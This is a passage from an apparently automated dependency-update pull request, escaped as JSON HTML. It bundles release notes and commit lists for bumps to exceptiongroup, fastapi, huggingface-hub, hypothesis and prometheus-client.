process\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/1be517f553249822a8fa12a4d7520d4b3ef15acd\"\u003e\u003ccode\u003e1be517f\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/agronholm/exceptiongroup/issues/152\"\u003e#152\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/af0ea2fdfe218a4c2a1cb31ebd1a61dba459af6f\"\u003e\u003ccode\u003eaf0ea2f\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/agronholm/exceptiongroup/issues/149\"\u003e#149\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/7c980a88a06a72db3d796d98504b335d24274abb\"\u003e\u003ccode\u003e7c980a8\u003c/code\u003e\u003c/a\u003e Removed pin on pyright version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/ef853368c8b94479adbd33cc58f1cac05839e116\"\u003e\u003ccode\u003eef85336\u003c/code\u003e\u003c/a\u003e Fixed typing job not finding Python 3.14\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/080b3f4e925bbdb8cee70cc30c5ef2937eab2bde\"\u003e\u003ccode\u003e080b3f4\u003c/code\u003e\u003c/a\u003e Pinned pyright version to fix typeshed related failure\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/ac660908a1987880eddbb249947c1eef6e08513b\"\u003e\u003ccode\u003eac66090\u003c/code\u003e\u003c/a\u003e Added Python 3.14 to the test matrix\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/a0da94dadfb39c0b52c0cd5c87ace166b00f74c1\"\u003e\u003ccode\u003ea0da94d\u003c/code\u003e\u003c/a\u003e Fixed test failures on Python 3.14\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/agronholm/exceptiongroup/compare/1.3.0...1.3.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fastapi` from 0.121.2 to 0.121.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastapi/fastapi/releases\"\u003efastapi's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.121.3\u003c/h2\u003e\n\u003ch3\u003eRefactors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e♻️ Make the result of \u003ccode\u003eDepends()\u003c/code\u003e and \u003ccode\u003eSecurity()\u003c/code\u003e hashable, as a workaround for other tools interacting with these internal parts. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14372\"\u003e#14372\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eUpgrades\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e⬆️ Bump Starlette to \u0026lt;\u003ccode\u003e0.51.0\u003c/code\u003e. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14282\"\u003e#14282\u003c/a\u003e by \u003ca href=\"https://github.com/musicinmybrain\"\u003e\u003ccode\u003e@​musicinmybrain\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDocs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e📝 Add missing hash part. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14369\"\u003e#14369\u003c/a\u003e by \u003ca href=\"https://github.com/nilslindemann\"\u003e\u003ccode\u003e@​nilslindemann\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e📝 Fix typos in code comments. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14364\"\u003e#14364\u003c/a\u003e by \u003ca href=\"https://github.com/Edge-Seven\"\u003e\u003ccode\u003e@​Edge-Seven\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e📝 Add docs for using FastAPI Cloud. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14359\"\u003e#14359\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/325fd16d32fd815633d6caf3d0d75aa7f30c51c9\"\u003e\u003ccode\u003e325fd16\u003c/code\u003e\u003c/a\u003e 🔖 Release version 0.121.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/7659b70da0aea0678a0842a5d7a8aaaef2527bab\"\u003e\u003ccode\u003e7659b70\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/85701631a0241c5f02b4940734a5428f66abe167\"\u003e\u003ccode\u003e8570163\u003c/code\u003e\u003c/a\u003e ♻️ Make the result of \u003ccode\u003eDepends()\u003c/code\u003e and \u003ccode\u003eSecurity()\u003c/code\u003e hashable, as a workaround ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/566e3157a5517784c741dbf36e39687af326fe90\"\u003e\u003ccode\u003e566e315\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/569226e753f601954a129331f61147f89abdb52a\"\u003e\u003ccode\u003e569226e\u003c/code\u003e\u003c/a\u003e ⬆️ Bump Starlette to \u0026lt;\u003ccode\u003e0.51.0\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14282\"\u003e#14282\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/33a75f481738c3d20ebc9fb17773d2da08b0e869\"\u003e\u003ccode\u003e33a75f4\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/89baa704a9f88ab09b0b01cd2fa7dcf758d6d417\"\u003e\u003ccode\u003e89baa70\u003c/code\u003e\u003c/a\u003e 📝 Add missing hash part (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14369\"\u003e#14369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/827ed1e6a24300af9b46adb8a3d208b8685eef85\"\u003e\u003ccode\u003e827ed1e\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/df83eb7278edf036612dc1b4c33c02415123d6a7\"\u003e\u003ccode\u003edf83eb7\u003c/code\u003e\u003c/a\u003e 📝 Fix typos in code comments (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14364\"\u003e#14364\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/4e84f3169436dfe06c963928a6af297d06cc560e\"\u003e\u003ccode\u003e4e84f31\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastapi/fastapi/compare/0.121.2...0.121.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `huggingface-hub` from 1.1.4 to 1.1.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/huggingface/huggingface_hub/releases\"\u003ehuggingface-hub's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[v1.1.5] Welcoming OVHcloud AI Endpoints as a new Inference Provider \u0026amp; More\u003c/h2\u003e\n\u003ch2\u003e⚡️ New Inference Provider: OVHcloud AI Endpoints\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://www.ovhcloud.com/en/public-cloud/ai-endpoints/catalog/\"\u003eOVHcloud AI Endpoints\u003c/a\u003e is now an official \u003ca href=\"https://huggingface.co/docs/inference-providers/en/index\"\u003eInference Provider\u003c/a\u003e on Hugging Face! 🎉\nOVHcloud delivers fast, production ready inference on secure, sovereign, fully 🇪🇺 European infrastructure - combining advanced features with competitive pricing.\u003c/p\u003e\n\u003cpre lang=\"python\"\u003e\u003ccode\u003eimport os\nfrom huggingface_hub import InferenceClient\n\u003cp\u003eclient = InferenceClient(\napi_key=os.environ[\u0026quot;HF_TOKEN\u0026quot;],\n)\u003c/p\u003e\n\u003cp\u003ecompletion = client.chat.completions.create(\nmodel=\u0026quot;openai/gpt-oss-20b:ovhcloud\u0026quot;,\nmessages=[\n{\n\u0026quot;role\u0026quot;: \u0026quot;user\u0026quot;,\n\u0026quot;content\u0026quot;: \u0026quot;What is the capital of France?\u0026quot;\n}\n],\n)\u003c/p\u003e\n\u003cp\u003eprint(completion.choices[0].message)\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003cp\u003eMore snippets examples in the provider documentation 👉 \u003ca href=\"https://huggingface.co/docs/inference-providers/en/providers/ovhcloud\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd OVHcloud AI Endpoints as an Inference Provder in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3541\"\u003e#3541\u003c/a\u003e by \u003ca href=\"https://github.com/eliasto\"\u003e\u003ccode\u003e@​eliasto\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eQoL Improvements\u003c/h2\u003e\n\u003cp\u003eInstalling the CLI is now much faster, thanks to \u003ca href=\"https://github.com/Boulaouaney\"\u003e\u003ccode\u003e@​Boulaouaney\u003c/code\u003e\u003c/a\u003e for adding support for \u003ccode\u003euv\u003c/code\u003e, bringing faster package installation.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd uv support to installation scripts for faster package installation in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3486\"\u003e#3486\u003c/a\u003e by \u003ca href=\"https://github.com/Boulaouaney\"\u003e\u003ccode\u003e@​Boulaouaney\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cp\u003eThis release also includes the following bug fixes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e[Collections] Add collections to collections by slug id in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3551\"\u003e#3551\u003c/a\u003e by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[CLI] Respect \u003ccode\u003eHF_DEBUG\u003c/code\u003e environment variable in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3562\"\u003e#3562\u003c/a\u003e by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[Inference] fix zero shot classification output parsing in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3561\"\u003e#3561\u003c/a\u003e by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/fdc11699305d5947725a6ad48907746ec95eefa1\"\u003e\u003ccode\u003efdc1169\u003c/code\u003e\u003c/a\u003e Release: v1.1.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/63523b2611b104fddd9f0242bc265ffb0e4baacd\"\u003e\u003ccode\u003e63523b2\u003c/code\u003e\u003c/a\u003e [Inference] fix zero shot classification output parsing (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3561\"\u003e#3561\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/c9d08702171e2b374f96447bdc42e9c7fcdf6935\"\u003e\u003ccode\u003ec9d0870\u003c/code\u003e\u003c/a\u003e [CLI] Respect \u003ccode\u003eHF_DEBUG\u003c/code\u003e environment variable (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3562\"\u003e#3562\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/1fb0107bb68bae38c8f55cc6055dad11cbcb9e83\"\u003e\u003ccode\u003e1fb0107\u003c/code\u003e\u003c/a\u003e [Collections] Add collections to collections by slug id (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3551\"\u003e#3551\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/6d13ec976351a479e3502fcaf2f67478b60dd3eb\"\u003e\u003ccode\u003e6d13ec9\u003c/code\u003e\u003c/a\u003e Add OVHcloud AI Endpoints as an Inference Provder (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3541\"\u003e#3541\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/huggingface/huggingface_hub/compare/v1.1.4...v1.1.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `hypothesis` from 6.147.0 to 6.148.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/HypothesisWorks/hypothesis/releases\"\u003ehypothesis's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.2\u003c/h2\u003e\n\u003cp\u003eDocument \u0026quot;fuzz_one_input()\u0026quot;.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-2\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.1\u003c/h2\u003e\n\u003cp\u003eThis patch updates our vendored list of top-level domains, which is\nused by the provisional \u0026quot;domains()\u0026quot; strategy.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-1\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.0\u003c/h2\u003e\n\u003cp\u003eCalling \u0026quot;register_profile()\u0026quot; from within a test decorated with\n\u0026quot;\u003ca href=\"https://github.com/settings\"\u003e\u003ccode\u003e@​settings\u003c/code\u003e\u003c/a\u003e\u0026quot; is now deprecated, to avoid confusion about which settings\nare used as the baseline for the new profile.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-0\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/98a8d2c6a760def79f87e3164b2bd166e3742820\"\u003e\u003ccode\u003e98a8d2c\u003c/code\u003e\u003c/a\u003e Bump hypothesis-python version to 6.148.2 and update changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/adbf6cf465423766f6c99fff4cb1d877f7026829\"\u003e\u003ccode\u003eadbf6cf\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4590\"\u003e#4590\u003c/a\u003e from Liam-DeVoe/external-fuzzer-howto\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/e371d8937a46e410f2806dbdfea518c75f3228b4\"\u003e\u003ccode\u003ee371d89\u003c/code\u003e\u003c/a\u003e not just native code\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/1befd21f97d228ee2d8fd6e7b2890c04b2d490c8\"\u003e\u003ccode\u003e1befd21\u003c/code\u003e\u003c/a\u003e update intro\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/3bf32cac729438ee46d09bd28bf3bdc4533eb3f6\"\u003e\u003ccode\u003e3bf32ca\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4604\"\u003e#4604\u003c/a\u003e from neutrinoceros/dep/bump_requires-python\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/5286ec642d0ab43199c81c664e2178d4e36c9593\"\u003e\u003ccode\u003e5286ec6\u003c/code\u003e\u003c/a\u003e Bump project.requires-python from \u0026gt;=3.10 to \u0026gt;=3.10.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/3f32b14c6173c37115ed9140db0846c07b46b625\"\u003e\u003ccode\u003e3f32b14\u003c/code\u003e\u003c/a\u003e formatting\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/df6dd11616bbb8d7f4315793983a02ba831c8bd6\"\u003e\u003ccode\u003edf6dd11\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into external-fuzzer-howto\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/e46bf2891014ae3b495ce96391183396eb5b39a3\"\u003e\u003ccode\u003ee46bf28\u003c/code\u003e\u003c/a\u003e tweak ext-fuzzer introduction\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/185dba4280376a7fb67adfb8650dadf7935e9a68\"\u003e\u003ccode\u003e185dba4\u003c/code\u003e\u003c/a\u003e add live-docs task\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.147.0...hypothesis-python-6.148.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `prometheus-client` from 0.20.0 to 0.23.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prometheus/client_python/releases\"\u003eprometheus-client's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.23.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: use tuples instead of packaging Version by \u003ca href=\"https://github.com/efiop\"\u003e\u003ccode\u003e@​efiop\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1136\"\u003eprometheus/client_python#1136\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/efiop\"\u003e\u003ccode\u003e@​efiop\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1136\"\u003eprometheus/client_python#1136\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/prometheus/client_python/compare/v0.23.0...v0.23.1\"\u003ehttps://github.com/prometheus/client_python/compare/v0.23.0...v0.23.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev0.23.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUTF-8 Content Negotiation by \u003ca href=\"https://github.com/ywwg\"\u003e\u003ccode\u003e@​ywwg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1102\"\u003eprometheus/client_python#1102\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRe include test data by \u003ca href=\"https://github.com/mgorny\"\u003e\u003ccode\u003e@​mgorny\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1113\"\u003eprometheus/client_python#1113\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eImprove parser performance by \u003ca href=\"https://github.com/csmarchbanks\"\u003e\u003ccode\u003e@​csmarchbanks\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1117\"\u003eprometheus/client_python#1117\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd support to \u003ccode\u003ewrite_to_textfile\u003c/code\u003e for custom tmpdir by \u003ca href=\"https://github.com/aadityadhruv\"\u003e\u003ccode\u003e@​aadityadhruv\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1115\"\u003eprometheus/client_python#1115\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eOM text exposition for NH by \u003ca href=\"https://github.com/vesari\"\u003e\u003ccode\u003e@​vesari\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1087\"\u003eprometheus/client_python#1087\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix bug which caused metric publishing to not accept query string parameters in ASGI app by \u003ca href=\"https://github.com/hacksparr0w\"\u003e\u003ccode\u003e@​hacksparr0w\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1125\"\u003eprometheus/client_python#1125\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEmit native histograms only when OM 2.0.0 is requested by \u003ca href=\"https://github.com/vesari\"\u003e\u003ccode\u003e@​vesari\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1128\"\u003eprometheus/client_python#1128\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: remove space after comma in openmetrics exposition by \u003ca href=\"https://github.com/theSuess\"\u003e\u003ccode\u003e@​theSuess\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1132\"\u003eprometheus/client_python#1132\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix issue parsing double spaces after # HELP/# TYPE by \u003ca href=\"https://github.com/csmarchbanks\"\u003e\u003ccode\u003e@​csmarchbanks\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1134\"\u003eprometheus/client_python#1134\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mgorny\"\u003e\u003ccode\u003e@​mgorny\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1113\"\u003eprometheus/client_python#1113\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aadityadhruv\"\u003e\u003ccode\u003e@​aadityadhruv\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1115\"\u003eprometheus/client_python#1115\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/hacksparr0w\"\u003e\u003ccode\u003e@​hacksparr0w\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1125\"\u003eprometheus/client_python#1125\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theSuess\"\u003e\u003ccode\u003e@​theSuess\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1132\"\u003eprometheus/client_python#1132\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/prometheus/client_python/compare/v0.22.1...v0.23.0\"\u003ehttps://github.com/prometheus/client_python/compare/v0.22.1...v0.23.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev0.22.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eBugFix: Skip validating and parsing comment lines early (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1108\"\u003e#1108\u003c/a\u003e) by \u003ca href=\"https://github.com/wissamir\"\u003e\u003ccode\u003e@​wissamir\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1109\"\u003eprometheus/client_python#1109\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUse License Expressions in pyproject.toml by \u003ca href=\"https://github.com/csmarchbanks\"\u003e\u003ccode\u003e@​csmarchbanks\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1111\"\u003eprometheus/client_python#1111\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/prometheus/client_python/compare/v0.22.0...v0.22.1\"\u003ehttps://github.com/prometheus/client_python/compare/v0.22.0...v0.22.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev0.22.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd support for native histograms in OM parser by \u003ca href=\"https://github.com/vesari\"\u003e\u003ccode\u003e@​vesari\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1040\"\u003eprometheus/client_python#1040\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd exemplar support to CounterMetricFamily [Fix \u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1062\"\u003e#1062\u003c/a\u003e] by \u003ca href=\"https://github.com/lod\"\u003e\u003ccode\u003e@​lod\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1063\"\u003eprometheus/client_python#1063\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003ewrite_to_textfile\u003c/code\u003e leaves back temp files on errors by \u003ca href=\"https://github.com/ethanschen\"\u003e\u003ccode\u003e@​ethanschen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1066\"\u003eprometheus/client_python#1066\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport UTF-8 in metric creation, parsing, and exposition by \u003ca href=\"https://github.com/ywwg\"\u003e\u003ccode\u003e@​ywwg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1070\"\u003eprometheus/client_python#1070\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix incorrect use of reentrant locks by \u003ca href=\"https://github.com/suligap\"\u003e\u003ccode\u003e@​suligap\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1076\"\u003eprometheus/client_python#1076\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRemove Python 3.8 support by \u003ca href=\"https://github.com/kajinamit\"\u003e\u003ccode\u003e@​kajinamit\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1075\"\u003eprometheus/client_python#1075\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCheck if labelvalues is in _metrics before deletion in MetricWrapperBase.remove() by \u003ca href=\"https://github.com/GlorifiedPig\"\u003e\u003ccode\u003e@​GlorifiedPig\u003c/code\u003e\u003c/a\u003e in 